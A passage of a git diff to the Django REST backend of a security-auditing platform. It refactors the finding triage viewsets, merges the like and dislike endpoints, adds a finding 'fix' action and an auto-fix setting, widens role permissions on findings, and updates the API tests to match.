TriageFindingSerializer.Meta.fields diff --git a/src/backend/findings/urls.py b/src/backend/findings/urls.py index 8a023b142..f4aa78938 100644 --- a/src/backend/findings/urls.py +++ b/src/backend/findings/urls.py @@ -1,5 +1,3 @@ -from rest_framework.routers import SimpleRouter - from findings.views import ( CredentialViewSet, ExploitViewSet, @@ -10,6 +8,7 @@ TechnologyViewSet, VulnerabilityViewSet, ) +from rest_framework.routers import SimpleRouter # Register your views here. diff --git a/src/backend/findings/views.py b/src/backend/findings/views.py index 3ad1b339f..9809a2de6 100644 --- a/src/backend/findings/views.py +++ b/src/backend/findings/views.py @@ -1,9 +1,4 @@ from drf_spectacular.utils import extend_schema -from rest_framework import status -from rest_framework.decorators import action -from rest_framework.request import Request -from rest_framework.response import Response - from findings.enums import OSINTDataType from findings.filters import ( CredentialFilter, @@ -15,7 +10,7 @@ TechnologyFilter, VulnerabilityFilter, ) -from findings.framework.views import FindingViewSet +from findings.framework.views import FindingViewSet, TriageFindingViewSet from findings.models import ( OSINT, Credential, @@ -34,33 +29,23 @@ PathSerializer, PortSerializer, TechnologySerializer, - TriageCredentialSerializer, - TriageExploitSerializer, - TriageHostSerializer, - TriageOSINTSerializer, - TriagePathSerializer, - TriagePortSerializer, - TriageTechnologySerializer, - TriageVulnerabilitySerializer, VulnerabilitySerializer, ) +from rest_framework import status +from rest_framework.decorators import action +from rest_framework.request import Request +from rest_framework.response import Response from targets.serializers import TargetSerializer # Create your views here. -class OSINTViewSet(FindingViewSet): +class OSINTViewSet(TriageFindingViewSet): queryset = OSINT.objects.all() serializer_class = OSINTSerializer - triage_serializer_class = TriageOSINTSerializer filterset_class = OSINTFilter search_fields = ["data"] ordering_fields = ["id", "data", "data_type", "source"] - # "post" is needed to allow POST requests to create targets - http_method_names = ["get", "put", "post"] - - def create(self, request: Request, *args, **kwargs): - return self._method_not_allowed("POST") @extend_schema(request=None, responses={201: TargetSerializer}) @action(detail=True, methods=["POST"], url_path="target", url_name="target") @@ -96,7 +81,6 @@ def target(self, request: Request, pk: str) -> Response: class HostViewSet(FindingViewSet): queryset = Host.objects.all() serializer_class = HostSerializer - triage_serializer_class = TriageHostSerializer filterset_class = HostFilter search_fields = ["address", "os"] ordering_fields = ["id", "address", "os_type"] @@ -105,7 +89,6 @@ class HostViewSet(FindingViewSet): class PortViewSet(FindingViewSet): queryset = Port.objects.all() serializer_class = PortSerializer - triage_serializer_class = TriagePortSerializer filterset_class = PortFilter search_fields = ["port", "service"] ordering_fields = ["id", "host", "port", "status", "protocol", "service"] @@ -114,7 +97,6 @@ class PortViewSet(FindingViewSet): class PathViewSet(FindingViewSet): queryset = Path.objects.all() serializer_class = PathSerializer - triage_serializer_class = TriagePathSerializer filterset_class = PathFilter search_fields = ["path", "extra_info"] ordering_fields = ["id", "port", "port__host", "path", "status", "type"] @@ -123,25 +105,22 @@ class PathViewSet(FindingViewSet): class TechnologyViewSet(FindingViewSet): queryset = Technology.objects.all() serializer_class = TechnologySerializer - triage_serializer_class = TriageTechnologySerializer filterset_class = TechnologyFilter search_fields = ["name", "version", "description"] ordering_fields = ["id", "port", "name", "version"] -class CredentialViewSet(FindingViewSet): +class CredentialViewSet(TriageFindingViewSet): queryset = Credential.objects.all() serializer_class = CredentialSerializer - triage_serializer_class = TriageCredentialSerializer filterset_class = CredentialFilter search_fields = ["email", "username", "secret", "context"] ordering_fields = ["id", "email", "username", "secret"] -class VulnerabilityViewSet(FindingViewSet): +class VulnerabilityViewSet(TriageFindingViewSet): queryset = Vulnerability.objects.all() serializer_class = VulnerabilitySerializer - triage_serializer_class = TriageVulnerabilitySerializer filterset_class = VulnerabilityFilter search_fields = ["name", "description", "cve", "cwe", "osvdb"] ordering_fields = [ @@ -156,10 +135,9 @@ class VulnerabilityViewSet(FindingViewSet): ] -class ExploitViewSet(FindingViewSet): +class ExploitViewSet(TriageFindingViewSet): queryset = Exploit.objects.all() serializer_class = ExploitSerializer - triage_serializer_class = TriageExploitSerializer filterset_class = ExploitFilter search_fields = ["title", "edb_id", "reference"] ordering_fields = [ diff --git a/src/backend/framework/views.py b/src/backend/framework/views.py index 69f197641..9d837711e 100644 --- a/src/backend/framework/views.py +++ b/src/backend/framework/views.py @@ -18,12 +18,7 @@ class BaseViewSet(ModelViewSet): ordering = ["-id"] # Required to remove PATCH method - http_method_names = [ - "get", - "post", - "put", - "delete", - ] + http_method_names = ["get", "post", "put", "delete"] owner_field = "owner" def _get_model(self) -> BaseModel: @@ -98,14 +93,14 @@ def get_queryset(self) -> QuerySet: """ return super().get_queryset().annotate(likes_count=Count("liked_by")) - @extend_schema(request=None, responses={201: None}) + @extend_schema(request=None, responses={204: None}) # Permission classes are overrided to IsAuthenticated and IsAuditor, because currently only Tools, Processes and # Wordlists can be liked, and auditors and admins are the only ones that can see this resources. # Permission classes should be overrided here, because if not, the standard permissions would be applied, and not # all auditors can make POST requests to resources like these. @action( detail=True, - methods=["POST"], + methods=["POST", "DELETE"], url_path="like", url_name="like", permission_classes=[IsAuthenticated, IsAuditor], @@ -120,30 +115,8 @@ def like(self, request: Request, pk: str) -> Response: Returns: Response: HTTP Response """ - self.get_object().liked_by.add(request.user) - return Response(status=status.HTTP_204_NO_CONTENT) - - @extend_schema(request=None, responses={204: None}) - # Permission classes is overrided to IsAuthenticated and IsAuditor, because currently only Tools, Processes and - # Resources (Wordlists) can be liked, and auditors and admins are the only ones that can see this resources. - # Permission classes should be overrided here, because if not, the standard permissions would be applied, and not - # all auditors can make POST requests to resources like these. - @action( - detail=True, - methods=["POST"], - url_path="dislike", - url_name="dislike", - permission_classes=[IsAuthenticated, IsAuditor], - ) - def dislike(self, request: Request, pk: str) -> Response: - """Unmark an instance as liked by the current user. - - Args: - request (Request): Received HTTP request - pk (str): Instance Id - - Returns: - Response: HTTP Response - """ - self.get_object().liked_by.remove(request.user) + if request.method == "POST": + self.get_object().liked_by.add(request.user) + else: + self.get_object().liked_by.remove(request.user) return Response(status=status.HTTP_204_NO_CONTENT) diff --git a/src/backend/input_types/models.py b/src/backend/input_types/models.py index dd593c044..fa420d865 100644 --- a/src/backend/input_types/models.py +++ b/src/backend/input_types/models.py @@ -2,7 +2,6 @@ from django.apps import apps from django.db import models - from framework.models import BaseInput, BaseModel from input_types.enums import InputTypeName @@ -57,6 +56,8 @@ def get_related_input_types(self) -> List[Self]: Dict[InputType, List[InputType]]: Dict with a list of related input types for each input type """ relations: List[InputType] = [] + if not self.relationships: + return relations model = self.get_model_class() if model: for field in model._meta.get_fields(): # For each model field diff --git a/src/backend/notes/views.py b/src/backend/notes/views.py index 745c07aab..fac130654 100644 --- a/src/backend/notes/views.py +++ b/src/backend/notes/views.py @@ -2,17 +2,16 @@ from django.db.models import Q, QuerySet from drf_spectacular.utils import extend_schema -from rest_framework.decorators import action -from rest_framework.permissions import IsAuthenticated -from rest_framework.request import Request -from rest_framework.response import Response -from rest_framework.status import HTTP_201_CREATED - from framework.views import LikeViewSet from notes.filters import NoteFilter from notes.models import Note from notes.serializers import NoteSerializer from projects.models import Project +from rest_framework.decorators import action +from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response +from rest_framework.status import HTTP_201_CREATED from security.authorization.permissions import ( OwnerPermission, ProjectMemberPermission, @@ -44,12 +43,7 @@ class NoteViewSet(LikeViewSet): "created_at", "updated_at", ] - http_method_names = [ - "get", - "post", - "put", - "delete", - ] + http_method_names = ["get", "post", "put", "delete"] def _get_project_from_data( self, project_field: str, data: Dict[str, Any] diff --git a/src/backend/parameters/views.py b/src/backend/parameters/views.py index 12c6f81a4..1f5eb24c7 100644 --- a/src/backend/parameters/views.py +++ b/src/backend/parameters/views.py @@ -1,5 +1,3 @@ -from rest_framework.permissions import IsAuthenticated - from framework.views import BaseViewSet from parameters.filters import InputTechnologyFilter, InputVulnerabilityFilter from parameters.models import InputTechnology, InputVulnerability @@ -7,6 +5,7 @@ InputTechnologySerializer, InputVulnerabilitySerializer, ) +from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, @@ -29,11 +28,7 @@ class InputTechnologyViewSet(BaseViewSet): # Fields used to search input technologies search_fields = ["name", "version"] ordering_fields = ["id", "target", "name"] - http_method_names = [ - "get", - "post", - "delete", - ] + http_method_names = ["get", "post", "delete"] class InputVulnerabilityViewSet(BaseViewSet): @@ -50,8 +45,4 @@ class InputVulnerabilityViewSet(BaseViewSet): # Fields used to search input vulnerabilities search_fields = ["cve"] ordering_fields = ["id", "target", "cve"] - http_method_names = [ - "get", - "post", - "delete", - ] + http_method_names = ["get", "post", "delete"] diff --git a/src/backend/platforms/defect_dojo/views.py b/src/backend/platforms/defect_dojo/views.py index 0718a2d5e..10a4a6fef 100644 --- a/src/backend/platforms/defect_dojo/views.py +++ b/src/backend/platforms/defect_dojo/views.py @@ -1,8 +1,3 @@ -from rest_framework import status -from rest_framework.permissions import IsAuthenticated -from rest_framework.request import Request -from rest_framework.response import Response - from framework.views import BaseViewSet from platforms.defect_dojo.models import DefectDojoSettings, DefectDojoSync from platforms.defect_dojo.serializers import ( @@ -12,6 +7,10 @@ DefectDojoSettingsSerializer, DefectDojoSyncSerializer, ) +from rest_framework import status +from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response from security.authorization.permissions import ( IsAuditor, ProjectMemberPermission, @@ -25,10 +24,7 @@ class DefectDojoSettingsViewSet(BaseViewSet): queryset = DefectDojoSettings.objects.all() serializer_class = DefectDojoSettingsSerializer permission_classes = [IsAuthenticated, RekonoModelPermission] - http_method_names = [ - "get", - "put", - ] + http_method_names = ["get", "put"] class DefectDojoSyncViewSet(BaseViewSet): @@ -39,10 +35,7 @@ class DefectDojoSyncViewSet(BaseViewSet): RekonoModelPermission, ProjectMemberPermission, ] - http_method_names = [ - "post", - "delete", - ] + http_method_names = ["post", "delete"] class DefectDojoEntityViewSet(BaseViewSet): diff --git a/src/backend/platforms/mail/views.py b/src/backend/platforms/mail/views.py index cc32a7162..020ae2d84 100644 --- a/src/backend/platforms/mail/views.py +++ b/src/backend/platforms/mail/views.py @@ -1,8 +1,7 @@ -from rest_framework.permissions import IsAuthenticated - from framework.views import BaseViewSet from platforms.mail.models import SMTPSettings from platforms.mail.serializers import SMTPSettingsSerializer +from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import RekonoModelPermission # Create your views here. @@ -12,7 +11,4 @@ class SMTPSettingsViewSet(BaseViewSet): queryset = SMTPSettings.objects.all() serializer_class = SMTPSettingsSerializer permission_classes = [IsAuthenticated, RekonoModelPermission] - http_method_names = [ - "get", - "put", - ] + http_method_names = ["get", "put"] diff --git a/src/backend/platforms/telegram_app/views.py b/src/backend/platforms/telegram_app/views.py index 6c6f780ef..e4b8fbff7 100644 --- a/src/backend/platforms/telegram_app/views.py +++ b/src/backend/platforms/telegram_app/views.py @@ -1,11 +1,10 @@ -from rest_framework.permissions import IsAuthenticated - from framework.views import BaseViewSet from platforms.telegram_app.models import TelegramChat, TelegramSettings from platforms.telegram_app.serializers import ( TelegramChatSerializer, TelegramSettingsSerializer, ) +from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import OwnerPermission, RekonoModelPermission # Create your views here. @@ -15,10 +14,7 @@ class TelegramSettingsViewSet(BaseViewSet): queryset = TelegramSettings.objects.all() serializer_class = TelegramSettingsSerializer permission_classes = [IsAuthenticated, RekonoModelPermission] - http_method_names = [ - "get", - "put", - ] + http_method_names = ["get", "put"] class TelegramChatViewSet(BaseViewSet): diff --git a/src/backend/processes/views.py b/src/backend/processes/views.py index b39ae998b..c8fc3a35e 100644 --- a/src/backend/processes/views.py +++ b/src/backend/processes/views.py @@ -1,9 +1,8 @@ -from rest_framework.permissions import IsAuthenticated - from framework.views import BaseViewSet, LikeViewSet from processes.filters import ProcessFilter, StepFilter from processes.models import Process, Step from processes.serializers import ProcessSerializer, StepSerializer +from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import OwnerPermission, RekonoModelPermission # Create your views here. @@ -16,12 +15,7 @@ class ProcessViewSet(LikeViewSet): permission_classes = [IsAuthenticated, RekonoModelPermission, OwnerPermission] search_fields = ["name", "description"] ordering_fields = ["id", "name", "owner", "likes_count"] - http_method_names = [ - "get", - "post", - "put", - "delete", - ] + http_method_names = ["get", "post", "put", "delete"] class StepViewSet(BaseViewSet): @@ -36,8 +30,4 @@ class StepViewSet(BaseViewSet): "configuration__name", ] ordering_fields = ["id", "process", "configuration"] - http_method_names = [ - "get", - "post", - "delete", - ] + http_method_names = ["get", "post", "delete"] diff --git a/src/backend/reporting/serializers.py b/src/backend/reporting/serializers.py index 6acf894be..a13da8577 100644 --- a/src/backend/reporting/serializers.py +++ b/src/backend/reporting/serializers.py @@ -41,7 +41,8 @@ class Meta: def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: attrs = super().validate(attrs) - self.validated_filter = {} + self.validated_filter = {"is_fixed": False} + self.validated_triage_filter = {} no_mandatory_field = True for field, filter_field in [ ("task", "executions__task"), @@ -51,18 +52,15 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: value = attrs.get(field) if value: no_mandatory_field = False - self.validated_filter = ( - {filter_field: value} - if attrs.get("format") != ReportFormat.PDF - else {} - ) + if attrs.get("format") != ReportFormat.PDF: + self.validated_filter[filter_field] = value only_true_positives = attrs.pop("only_true_positives", False) if only_true_positives: - self.validated_filter.update( + self.validated_triage_filter.update( {"triage_status": TriageStatus.TRUE_POSITIVE} ) else: - self.validated_filter.update( + self.validated_triage_filter.update( { "triage_status__in": [ TriageStatus.UNTRIAGED, diff --git a/src/backend/reporting/views.py b/src/backend/reporting/views.py index af8217021..d1d4ec9ab 100644 --- a/src/backend/reporting/views.py +++ b/src/backend/reporting/views.py @@ -59,11 +59,7 @@ class ReportingViewSet(BaseViewSet): "user", "date", ] - http_method_names = [ - "get", - "post", - "delete", - ] + http_method_names = ["get", "post", "delete"] owner_field = "user" def _get_project_from_data( @@ -175,7 +171,12 @@ def _get_findings_to_report( models = importlib.import_module("findings.models") for finding_type in serializer.validated_finding_types: model = getattr(models, finding_type) - query = model.objects.filter(**serializer.validated_filter).all() + query_filter = ( + {**serializer.validated_filter, **serializer.validated_triage_filter} + if hasattr(model, "triage_status") + else {**serializer.validated_filter} + ) + query = model.objects.filter(**query_filter).all() if model == Vulnerability: query = query.order_by("severity") findings[model.__name__.lower()] = [ @@ -191,7 +192,6 @@ def _get_findings_to_pdf_report( stats = [0] * len(Severity) stats_by_target = {} findings_by_target = {} - filter = serializer.validated_filter for target in ( serializer.validated_data.get("project").targets.all() if serializer.validated_data.get("project") @@ -200,29 +200,58 @@ def _get_findings_to_pdf_report( or serializer.validated_data.get("task").target ] ): - filter["executions__task__target"] = target + target_filter = {"executions__task__target": target} stats_by_target[target.id] = [0] * len(Severity) findings_by_target[target.id] = { - FindingName.OSINT.value: OSINT.objects.filter(**filter).all(), + FindingName.OSINT.value: OSINT.objects.filter( + **{ + **target_filter, + **serializer.validated_filter, + **serializer.validated_triage_filter, + } + ).all(), FindingName.HOST.value: [ { FindingName.HOST.value: host, FindingName.PORT.value: Port.objects.filter( - host=host, **filter + **{ + **target_filter, + "host": host, + **serializer.validated_filter, + } ).all(), FindingName.TECHNOLOGY.value: Technology.objects.filter( - port__host=host, **filter + **{ + **target_filter, + "port__host": host, + **serializer.validated_filter, + } ).all(), FindingName.CREDENTIAL.value: Credential.objects.filter( - technology__port__host=host, **filter + **{ + **target_filter, + "technology__port__host": host, + **serializer.validated_filter, + **serializer.validated_triage_filter, + } ).all(), FindingName.VULNERABILITY.value: Vulnerability.objects.filter( - **filter + **{ + **target_filter, + **serializer.validated_filter, + **serializer.validated_triage_filter, + } ) .filter(Q(technology__port__host=host) | Q(port__host=host)) .order_by("severity") .all(), - FindingName.EXPLOIT.value: Exploit.objects.filter(**filter) + FindingName.EXPLOIT.value: Exploit.objects.filter( + **{ + **target_filter, + **serializer.validated_filter, + **serializer.validated_triage_filter, + } + ) .filter( Q(technology__port__host=host) | Q(vulnerability__technology__port__host=host) @@ -230,7 +259,9 @@ def _get_findings_to_pdf_report( ) .all(), } - for host in Host.objects.filter(**filter) + for host in Host.objects.filter( + **{**target_filter, **serializer.validated_filter} + ) ], } if ( diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index f0d220e7a..1327a736a 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -62,49 +62,49 @@ class Role(models.TextChoices): "view": [Role.ADMIN, Role.AUDITOR, Role.READER], "add": [Role.ADMIN, Role.AUDITOR], "change": [Role.ADMIN, Role.AUDITOR], - "delete": [], + "delete": [Role.ADMIN, Role.AUDITOR], }, "host": { "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], + "add": [Role.ADMIN, Role.AUDITOR], "change": [Role.ADMIN, Role.AUDITOR], - "delete": [], + "delete": [Role.ADMIN, Role.AUDITOR], }, "port": { "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], + "add": [Role.ADMIN, Role.AUDITOR], "change": [Role.ADMIN, Role.AUDITOR], - "delete": [], + "delete": [Role.ADMIN, Role.AUDITOR], }, "path": { "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], + "add": [Role.ADMIN, Role.AUDITOR], "change": [Role.ADMIN, Role.AUDITOR], - "delete": [], + "delete": [Role.ADMIN, Role.AUDITOR], }, "technology": { "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], + "add": [Role.ADMIN, Role.AUDITOR], "change": [Role.ADMIN, Role.AUDITOR], - "delete": [], + "delete": [Role.ADMIN, Role.AUDITOR], }, "vulnerability": { "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], + "add": [Role.ADMIN, Role.AUDITOR], "change": [Role.ADMIN, Role.AUDITOR], - "delete": [], + "delete": [Role.ADMIN, Role.AUDITOR], }, "credential": { "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], + "add": [Role.ADMIN, Role.AUDITOR], "change": [Role.ADMIN, Role.AUDITOR], - "delete": [], + "delete": [Role.ADMIN, Role.AUDITOR], }, "exploit": { "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - "add": [], + "add": [Role.ADMIN, Role.AUDITOR], "change": [Role.ADMIN, Role.AUDITOR], - "delete": [], + "delete": [Role.ADMIN, Role.AUDITOR], }, "process": { "view": [Role.ADMIN, Role.AUDITOR], diff --git a/src/backend/settings/fixtures/1_default.json b/src/backend/settings/fixtures/1_default.json index 9dc880da1..12b717a87 100644 --- a/src/backend/settings/fixtures/1_default.json +++ b/src/backend/settings/fixtures/1_default.json @@ -8,7 +8,8 @@ "http_proxy": null, "https_proxy": null, "ftp_proxy": null, - "no_proxy": null + "no_proxy": null, + "auto_fix_findings": true } } ] \ No newline at end of file diff --git a/src/backend/settings/models.py b/src/backend/settings/models.py index 6e1b42e4c..72c6e9950 100644 --- a/src/backend/settings/models.py +++ b/src/backend/settings/models.py @@ -1,6 +1,5 @@ from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models - from framework.models import BaseModel from security.validators.input_validator import Regex, Validator @@ -42,3 +41,4 @@ class Settings(BaseModel): blank=True, null=True, ) + auto_fix_findings = models.BooleanField(default=True) diff --git a/src/backend/settings/serializers.py b/src/backend/settings/serializers.py index c2ff53a96..a99fb34e0 100644 --- a/src/backend/settings/serializers.py +++ b/src/backend/settings/serializers.py @@ -1,5 +1,4 @@ from rest_framework.serializers import ModelSerializer - from settings.models import Settings @@ -14,4 +13,5 @@ class Meta: "https_proxy", "ftp_proxy", "no_proxy", + "auto_fix_findings", ) diff --git a/src/backend/target_ports/views.py b/src/backend/target_ports/views.py index 59901815c..cfe209624 100644 --- a/src/backend/target_ports/views.py +++ b/src/backend/target_ports/views.py @@ -1,6 +1,5 @@ -from rest_framework.permissions import IsAuthenticated - from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, @@ -26,8 +25,4 @@ class TargetPortViewSet(BaseViewSet): # Fields used to search target ports search_fields = ["port", "path"] ordering_fields = ["id", "target", "port", "path"] - http_method_names = [ - "get", - "post", - "delete", - ] + http_method_names = ["get", "post", "delete"] diff --git a/src/backend/targets/views.py b/src/backend/targets/views.py index f9434d143..44b59067a 100644 --- a/src/backend/targets/views.py +++ b/src/backend/targets/views.py @@ -1,6 +1,5 @@ -from rest_framework.permissions import IsAuthenticated - from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, @@ -26,8 +25,4 @@ class TargetViewSet(BaseViewSet): # Fields used to search targets search_fields = ["target"] ordering_fields = ["id", "target", "type"] - http_method_names = [ - "get", - "post", - "delete", - ] + http_method_names = ["get", "post", "delete"] diff --git a/src/backend/tasks/views.py b/src/backend/tasks/views.py index a511693a5..455da25a9 100644 --- a/src/backend/tasks/views.py +++ b/src/backend/tasks/views.py @@ -56,11 +56,7 @@ class TaskViewSet(BaseViewSet): "end", ] owner_field = "executor" - http_method_names = [ - "get", - "post", - "delete", - ] + http_method_names = ["get", "post", "delete"] tasks_queue = TasksQueue() executions_queue = ExecutionsQueue() diff --git a/src/backend/tests/test_findings.py b/src/backend/tests/test_findings.py index d1e31bca5..7fd7a60a2 100644 --- a/src/backend/tests/test_findings.py +++ b/src/backend/tests/test_findings.py @@ -103,14 +103,6 @@ "/api/exploits/", ), } -false_positive = { - "triage_status": TriageStatus.FALSE_POSITIVE.value, - "triage_comment": "It isn't exploitable", -} -true_positive = { - "triage_status": TriageStatus.TRUE_POSITIVE.value, - "triage_comment": "Exploitation has been confirmed", -} class FindingTest(ApiTest): @@ -124,12 +116,63 @@ def setUp(self) -> None: for finding in self.findings: self.cases.extend( [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 405, + endpoint=findings_data[finding.__class__][2], + ), ApiTestCase( ["admin2", "auditor2", "reader2"], "get", 200, + expected=[], + endpoint=findings_data[finding.__class__][2], + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 1, + "is_fixed": False, + **{ + k: v + if not isinstance(v, models.TextChoices) + else v.value + for k, v in self.raw_findings[ + finding.__class__ + ].items() + }, + } + ], endpoint=findings_data[finding.__class__][2], ), + ApiTestCase( + ["admin2", "auditor2"], + "post", + 404, + endpoint=f"{findings_data[finding.__class__][2]}1/fix/", + ), + ApiTestCase( + ["reader1", "reader2"], + "post", + 403, + endpoint=f"{findings_data[finding.__class__][2]}1/fix/", + ), + ApiTestCase( + ["auditor1"], + "post", + 204, + endpoint=f"{findings_data[finding.__class__][2]}1/fix/", + ), + ApiTestCase( + ["admin1"], + "post", + 400, + endpoint=f"{findings_data[finding.__class__][2]}1/fix/", + ), ApiTestCase( ["admin1", "auditor1", "reader1"], "get", @@ -137,8 +180,7 @@ def setUp(self) -> None: expected=[ { "id": 1, - "triage_status": TriageStatus.UNTRIAGED.value, - "triage_comment": None, + "is_fixed": True, **{ k: v if not isinstance(v, models.TextChoices) @@ -151,6 +193,30 @@ def setUp(self) -> None: ], endpoint=findings_data[finding.__class__][2], ), + ApiTestCase( + ["admin2", "auditor2"], + "delete", + 404, + endpoint=f"{findings_data[finding.__class__][2]}1/fix/", + ), + ApiTestCase( + ["reader1", "reader2"], + "delete", + 403, + endpoint=f"{findings_data[finding.__class__][2]}1/fix/", + ), + ApiTestCase( + ["admin1"], + "delete", + 204, + endpoint=f"{findings_data[finding.__class__][2]}1/fix/", + ), + ApiTestCase( + ["auditor1"], + "delete", + 400, + endpoint=f"{findings_data[finding.__class__][2]}1/fix/", + ), ApiTestCase( ["admin1", "auditor1", "reader1"], "get", @@ -158,8 +224,110 @@ def setUp(self) -> None: expected=[ { "id": 1, - "triage_status": TriageStatus.UNTRIAGED.value, - "triage_comment": None, + "is_fixed": False, + **{ + k: v + if not isinstance(v, models.TextChoices) + else v.value + for k, v in self.raw_findings[ + finding.__class__ + ].items() + }, + } + ], + endpoint=findings_data[finding.__class__][2], + ), + ] + ) + + def test_str(self) -> None: + for finding in self.findings: + self.assertEqual( + findings_data[finding.__class__][1], + finding.__str__(), + ) + + def test_anonymous_access(self) -> None: + for _, _, endpoint in findings_data.values(): + self.assertEqual(401, APIClient().get(endpoint).status_code) + + def test_defect_dojo(self) -> None: + for finding in self.findings: + parsed = finding.defect_dojo() + for key, value in findings_data[finding.__class__][0].items(): + self.assertEqual(value, parsed[key]) + defect_dojo_endpoint = { + "protocol": "http", + "host": "10.10.10.10", + "port": 80, + "path": "/index.php", + } + parsed = self.path.defect_dojo_endpoint(self.target) + for key, value in defect_dojo_endpoint.items(): + self.assertEqual(value, parsed[key]) + + +class TriageFindingTest(ApiTest): + endpoint = "/api/findings/" + anonymous_allowed = None + false_positive = { + "triage_status": TriageStatus.FALSE_POSITIVE.value, + "triage_comment": "It isn't exploitable", + } + true_positive = { + "triage_status": TriageStatus.TRUE_POSITIVE.value, + "triage_comment": "Exploitation has been confirmed", + } + + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() + self._setup_findings(self.execution3) + self.cases = [] + for finding in self.findings: + if not hasattr(finding, "triage_status"): + continue + self.cases.extend( + [ + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "get", + 200, + expected=[], + endpoint=findings_data[finding.__class__][2], + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 1, + "triage_status": TriageStatus.FALSE_POSITIVE.value + if isinstance(finding, Exploit) + else TriageStatus.UNTRIAGED.value, + **{ + k: v + if not isinstance(v, models.TextChoices) + else v.value + for k, v in self.raw_findings[ + finding.__class__ + ].items() + }, + } + ], + endpoint=findings_data[finding.__class__][2], + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 1, + "triage_status": TriageStatus.FALSE_POSITIVE.value + if isinstance(finding, Exploit) + else TriageStatus.UNTRIAGED.value, **{ k: v if not isinstance(v, models.TextChoices) @@ -176,22 +344,22 @@ def setUp(self) -> None: ["reader1", "reader2"], "put", 403, - false_positive, + self.false_positive, endpoint=f"{findings_data[finding.__class__][2]}1/", ), ApiTestCase( ["admin2", "auditor2"], "put", 404, - false_positive, + self.false_positive, endpoint=f"{findings_data[finding.__class__][2]}1/", ), ApiTestCase( ["admin1", "auditor1"], "put", 200, - false_positive, - expected={"id": 1, **false_positive}, + self.false_positive, + expected={"id": 1, **self.false_positive}, endpoint=f"{findings_data[finding.__class__][2]}1/", ), ApiTestCase( @@ -200,7 +368,7 @@ def setUp(self) -> None: 200, expected={ "id": 1, - **false_positive, + **self.false_positive, **{ k: v if not isinstance(v, models.TextChoices) @@ -214,8 +382,8 @@ def setUp(self) -> None: ["admin1", "auditor1"], "put", 200, - true_positive, - expected={"id": 1, **true_positive}, + self.true_positive, + expected={"id": 1, **self.true_positive}, endpoint=f"{findings_data[finding.__class__][2]}1/", ), ApiTestCase( @@ -224,7 +392,7 @@ def setUp(self) -> None: 200, expected={ "id": 1, - **true_positive, + **self.true_positive, **{ k: v if not isinstance(v, models.TextChoices) @@ -237,32 +405,6 @@ def setUp(self) -> None: ] ) - def test_str(self) -> None: - for finding in self.findings: - self.assertEqual( - findings_data[finding.__class__][1], - finding.__str__(), - ) - - def test_anonymous_access(self) -> None: - for _, _, endpoint in findings_data.values(): - self.assertEqual(401, APIClient().get(endpoint).status_code) - - def test_defect_dojo(self) -> None: - for finding in self.findings: - parsed = finding.defect_dojo() - for key, value in findings_data[finding.__class__][0].items(): - self.assertEqual(value, parsed[key]) - defect_dojo_endpoint = { - "protocol": "http", - "host": "10.10.10.10", - "port": 80, - "path": "/index.php", - } - parsed = self.path.defect_dojo_endpoint(self.target) - for key, value in defect_dojo_endpoint.items(): - self.assertEqual(value, parsed[key]) - class OSINTTest(ApiTest): endpoint = "/api/osint/" diff --git a/src/backend/tests/test_processes.py b/src/backend/tests/test_processes.py index fb21b21f7..a48a18bea 100644 --- a/src/backend/tests/test_processes.py +++ b/src/backend/tests/test_processes.py @@ -142,7 +142,7 @@ class ProcessTest(ApiTest): ), ApiTestCase(["reader1", "reader2"], "post", 403, endpoint="{endpoint}8/like/"), ApiTestCase( - ["reader1", "reader2"], "post", 403, endpoint="{endpoint}9/dislike/" + ["reader1", "reader2"], "delete", 403, endpoint="{endpoint}9/like/" ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], @@ -186,9 +186,9 @@ class ProcessTest(ApiTest): ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], - "post", + "delete", 204, - endpoint="{endpoint}8/dislike/", + endpoint="{endpoint}8/like/", ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], diff --git a/src/backend/tests/test_tools.py b/src/backend/tests/test_tools.py index 4b3e50c19..3b8d3b4c5 100644 --- a/src/backend/tests/test_tools.py +++ b/src/backend/tests/test_tools.py @@ -82,13 +82,13 @@ class ToolTest(ApiTest): endpoint="{endpoint}3/", ), ApiTestCase( - ["reader1", "reader2"], "get", 403, endpoint="{endpoint}1/dislike/" + ["reader1", "reader2"], "delete", 403, endpoint="{endpoint}1/like/" ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], - "post", + "delete", 204, - endpoint="{endpoint}1/dislike/", + endpoint="{endpoint}1/like/", ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], diff --git a/src/backend/tests/test_wordlists.py b/src/backend/tests/test_wordlists.py index fbece3364..620c7c597 100644 --- a/src/backend/tests/test_wordlists.py +++ b/src/backend/tests/test_wordlists.py @@ -121,7 